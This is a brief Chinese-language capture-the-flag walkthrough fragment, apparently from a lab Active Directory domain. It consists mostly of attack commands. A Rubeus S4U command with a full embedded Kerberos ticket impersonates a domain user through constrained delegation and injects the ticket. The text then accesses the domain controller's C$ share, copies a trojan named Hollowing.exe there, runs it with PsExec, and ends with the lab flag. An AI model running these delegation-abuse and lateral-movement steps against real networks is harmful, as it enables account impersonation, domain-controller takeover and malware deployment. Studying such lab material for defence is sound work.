.\Rubeus.exe s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA63F/a5xxjvkZG1EQm8COZCh/ou4ZcGhBYf3/sCS2RXvm6oLKEVoqlCZ2LbtXqrB7hBouFVg8IOR/3lEA9sSduZgfSGhv/RncXwOrqGesP8ldLAH7u08jQQC/YvW433I0J4rRGD/TptBAzgzzIWUyw4mp6Bm5VVABGVrZtE9+8h6yxRGUdZEuSb73UMZJKzbR7TzYIWD8ozmXdaoF0hQmt8gK/ebgBv+5REHugFbOjoUj1u+FwLvF4WweOhxifdUB13/KAOvzFdsRg5xZBWhOF84ElEPjC/wYlGyvLE5QeV11TotG2pLHdTJYnW9fgguQXJkUigvOEUC4j9gjZCxD2VmmUlVI8ByCOYsMV59IdCCblEp5ApscAB4wBbCbVU8fo8ylXRGiqybgnakIgWFSvBXRDoNKeHgCssH3sZdAYyQVYJPSx1pdMax/9k1JGKsWx5fZzjYqCkeW3SuSvU3yw0VmHrXEUnpT6HK4rzzGcsp7nshQ1SRFxe2DIB0+SrCtKUZcz0XLG7JpnFnqRn1ztUQazW3o0b6gOyJDPJJgT0k8NVFETu7WblmLT0HiO+tgsbHTZIDHpj3r+uY9eXFO3G5ExUHVp+x7CCYUSkT7uy/Eeztq+c78mol4s883vhNQkj8/BG+QByiZDlCtSTpAq94foker82KEtSdGLOrndPHCMKhaybUzBKuNE15W0v34ZICH8aTIQeILlzDzO/LINRYc15q3OwKPC655u+lxiDTE7jDuWmj/RvqMjHF3E0oWTUEb0ySsk6eNb7VdUIR5M8NX9jgVsAORH7tAIX3MsJl8Ac1MXKtuEjJWbi5wwzElHqzerWxPSyK9kHoarhzru5j5EeHae0Xf2tdq4KuMEXxTaqtjF2EIqhuB5KK2ITZlIT6SGyDHuptHDS3hDVDv9M9g3C2hgaR0Mh3UWjVYX7FTGstdmodr0xp8HLJYSY4TIlTX6Uy2Fzuy4QB0P0Cy/SRnqCJC3K504yCmQ2W4Rq2lPjsGXHudJQLaOe8ffLsEvi/DeGoyJcjNaDk57DA8vS//6pM63OniklTWOBv3yZOkgqzYRKQCJs3UOHhyzbzV4i9HAU9jwuOyy9nZvAM1cJVWpm7cBhG8KxkafGkNzlY8jyC909GEXuWEw8UF+Sm3WzZt7C52YkIABhOsjxYuC7HqXNRI7RTwIGWxRTk7x/SXh/lVd4OmKdVD2ulCe+/TKTiQFHav6wzHnOewS38WOoeaQ5iFyxM34fAmnp1T6OB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIM3URYjuu4BCVp3DM2ew4XXpYdl1cPyT71xaHsULSqKLoQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNDAzMDMwNTAyMjhaphEYDzIwMjQwMzAzMTQzMDAxWqcRGA8yMDI0MDMxMDA0MzAwMVqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw= /impersonateuser:Micheal.Crosley /domain:m3c.local /msdsspn:"time/m3webaw" /altservice:http /ptt
现在我们就可以直接访问了。
dir \\m3dc\c$
现在我们就可以使用psexec
来执行我们的木马了。
copy C:\ActiveMQ\webapps\admin\Hollowing.exe \\m3dc\c$\Hollowing.exe
.\PsExec64.exe \\m3dc cmd /c "C:\\Hollowing.exe"
最终获取到flag: Cyb3rN3t1C5{C0n$tr@!n3d!}